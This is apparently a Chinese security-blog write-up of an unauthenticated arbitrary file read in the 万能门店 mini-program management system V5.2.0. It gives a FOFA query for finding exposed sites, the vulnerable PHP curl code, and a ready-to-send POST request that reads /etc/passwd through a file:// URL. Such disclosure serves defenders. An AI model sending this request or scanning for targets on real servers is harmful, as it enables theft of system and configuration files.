万能门店小程序管理系统 /api/wxapps/_Postrequest 文件读取漏洞


漏洞简介

万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。该系统集成了会员管理和会员营销两大核心功能,支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统的/api/wxapps/_Postrequest接口存在任意文件读取漏洞,未经身份验证的攻击者可以通过该漏洞下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

影响版本

万能门店小程序全开源独立版V5.2.0

fofa语法

body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")

漏洞分析

application/api/controller/Wxapps.php

function _Postrequest($url, $data, $ssl = true, $token = '') //0正常, 1头条
    {
        if (!$token) {
            $headers = [
                "Content-type: application/json;charset='utf-8'"
            ];
        } else {

            $headers = [
                "X-Token: " . $token
            ];
        }
        //curl完成
        $curl = curl_init();
        //设置curl选项
        curl_setopt($curl, CURLOPT_URL, $url);//URL
        $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 FirePHP/0.7.4';
        curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);//user_agent,请求代理信息
        curl_setopt($curl, CURLOPT_AUTOREFERER, true);//referer头,请求来源
        curl_setopt($curl, CURLOPT_TIMEOUT, 30);//设置超时时间
        //SSL相关
        if ($ssl) {
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);//禁用后cURL将终止从服务端进行验证
            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);//检查服务器SSL证书中是否存在一个公用名(common name)。
        }
        // 处理post相关选项
        curl_setopt($curl, CURLOPT_POST, true);// 是否为POST请求
        curl_setopt($curl, CURLOPT_POSTFIELDS, $data);// 处理请求数据
        // 处理响应结果
        curl_setopt($curl, CURLOPT_HEADER, false);//是否处理响应头
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);//curl_exec()是否返回响应结果
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

        curl_setopt($curl, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
        // 发出请求
        $response = curl_exec($curl);
        if (false === $response) {
            echo '<br>', curl_error($curl), '<br>';
            return false;
        }
        curl_close($curl);
        return $response;
    }

$url 直接传入 curl 中造成可使用php伪协议造成任意文件读取文件漏洞

漏洞复现

POST /api/wxapps/_Postrequest HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded

url=file:///etc/passwd&data=1

万能门店小程序管理系统 /api/wxapps/_Postrequest 文件读取漏洞


手机扫码阅读

万能门店小程序管理系统 /comadmin/Remote/onepic_uploade 文件上传漏洞

万能门店小程序管理系统 /api/wxapps/doPageindexCop SQL 注入漏洞

评 论